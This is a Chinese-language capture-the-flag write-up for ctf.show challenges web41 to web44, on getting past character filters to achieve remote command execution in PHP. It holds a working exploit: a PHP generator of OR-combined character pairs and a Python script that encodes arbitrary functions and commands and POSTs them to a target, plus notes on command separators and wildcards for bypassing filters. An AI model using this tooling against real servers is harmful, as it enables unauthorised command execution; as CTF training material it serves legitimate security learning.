web41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
借用师傅们的脚本:https://blog.csdn.net/miuzzx/article/details/108569080
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| # -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
|

得到flag
web42

1 2 3 4 5
| 1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
|
参考:https://www.cnblogs.com/kexianting/p/11630085.html
用双写绕过
payload:
web43

将;过滤掉了,可以使用其他的命令分隔符;
常见的命令分隔符:
1 2 3 4 5 6 7 8 9 10 11 12
| 1、“;”分隔符 用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如: 输入:命令A;命令B;命令C 按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。 2、“&&”分隔符 同C、C++语言逻辑运算符"&&"类似,遇到首个命令执行失败后,后面的命令不会执行。如: 输入:命令A && 命令B && 命令C 先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。 3、“||”分隔符 同C、C++语言逻辑运算符"||"类似,遇到首个命令执行成功后,后面的命令不会执行。如: 输入:命令A || 命令B || 命令C 先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。
|
payload:
web44

flag也过滤了,就用通配符呗。
payload:
常见的通配符有*
、?
。